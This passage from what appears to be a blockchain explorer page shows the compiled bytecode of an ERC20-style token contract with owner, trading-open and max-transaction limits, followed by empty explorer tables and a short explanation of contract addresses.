482850161200b565b91505092915050565b6121a381611fe4565b82525050565b5f6020820190506121bc5f83018461219a565b92915050565b5f80604083850312156121d8576121d7611fc1565b5b5f6121e58582860161200b565b92505060206121f68582860161200b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156122825780860481111561225e5761225d612200565b5b600185161561226d5780820291505b808102905061227b8561222d565b9450612242565b94509492505050565b5f8261229a5760019050612355565b816122a7575f9050612355565b81600181146122bd57600281146122c7576122f6565b6001915050612355565b60ff8411156122d9576122d8612200565b5b8360020a9150848211156122f0576122ef612200565b5b50612355565b5060208310610133831016604e8410600b841016171561232b5782820a90508381111561232657612325612200565b5b612355565b6123388484846001612239565b9250905081840481111561234f5761234e612200565b5b81810290505b9392505050565b5f6123668261201f565b91506123718361213b565b925061239e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461228b565b905092915050565b5f6123b08261201f565b91506123bb8361201f565b92508282026123c98161201f565b915082820484148315176123e0576123df612200565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61241b602083611f3b565b9150612426826123e7565b602082019050919050565b5f6020820190508181035f8301526124488161240f565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612483601783611f3b565b915061248e8261244f565b602082019050919050565b5f6020820190508181035f8301526124b081612477565b9050919050565b5f815190506124c581611ff5565b92915050565b5f602082840312156124e0576124df611fc1565b5b5f6124ed848285016124b7565b91505092915050565b5f6040820190506125095f83018561219a565b612516602083018461219a565b9392505050565b5f819050919050565b5f819050919050565b5f61254961254461253f8461251d565b612526565b61201f565b9050919050565b6125598161252f565b82525050565b5f60c0820190506125725f83018961219a565b61257f60208301886120c3565b61258c6040830187612550565b6125996060830186612550565b6125a6608083018561219a565b6125b360a08301846120c3565b979650505050505050565b5f815190506125cc81612028565b92915050565b5f805f606084860312156125e9576125e8611fc1565b5b5f6125f6868287016125be565b9350506020612607868287016125be565b9250506040612618868287016125be565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61267c602483611f3b565b915061268782612622565b604082019050919050565b5f6020820190508181035f8301526126a981612670565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61270a602283611f3b565b9150612715826126b0565b604082019050919050565b5f6020820190508181035f830152612737816126fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612798602583611f3b565b91506127a38261273e565b604082019050919050565b5f6020820190508181035f8301526127c58161278c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612826602383611f3b565b9150612831826127cc565b604082019050919050565b5f6020820190508181035f8301526128538161281a565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6128b4602983611f3b565b91506128bf8261285a565b604082019050919050565b5f6020820190508181035f8301526128e1816128a8565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61291c601983611f3b565b9150612927826128e8565b602082019050919050565b5f6020820190508181035f83015261294981612910565b9050919050565b5f61295a8261201f565b91506129658361201f565b925082820190508082111561297d5761297c612200565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6129b7601a83611f3b565b91506129c282612983565b602082019050919050565b5f6020820190508181035f8301526129e4816129ab565b9050919050565b5f6129f58261201f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a2757612a26612200565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612a8c602883611f3b565b9150612a9782612a32565b604082019050919050565b5f6020820190508181035f830152612ab981612a80565b9050919050565b5f612aca8261201f565b9150612ad58361201f565b9250828203905081811115612aed57612aec612200565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b2a8261201f565b9150612b358361201f565b925082612b4557612b44612af3565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612baa602183611f3b565b9150612bb582612b50565b604082019050919050565b5f6020820190508181035f830152612bd781612b9e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c6a81611fe4565b82525050565b5f612c7b8383612c61565b60208301905092915050565b5f602082019050919050565b5f612c9d82612c38565b612ca78185612c42565b9350612cb283612c52565b805f5b83811015612ce2578151612cc98882612c70565b9750612cd483612c87565b925050600181019050612cb5565b5085935050505092915050565b5f60a082019050612d025f8301886120c3565b612d0f6020830187612550565b8181036040830152612d218186612c93565b9050612d30606083018561219a565b612d3d60808301846120c3565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d7b601b83611f3b565b9150612d8682612d47565b602082019050919050565b5f6020820190508181035f830152612da881612d6f565b905091905056fea2646970667358221220e8b127d1c266e8ad9052a2312170f39fee1865e4d15d917b9029f107c7b57ec664736f6c634300081a0033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.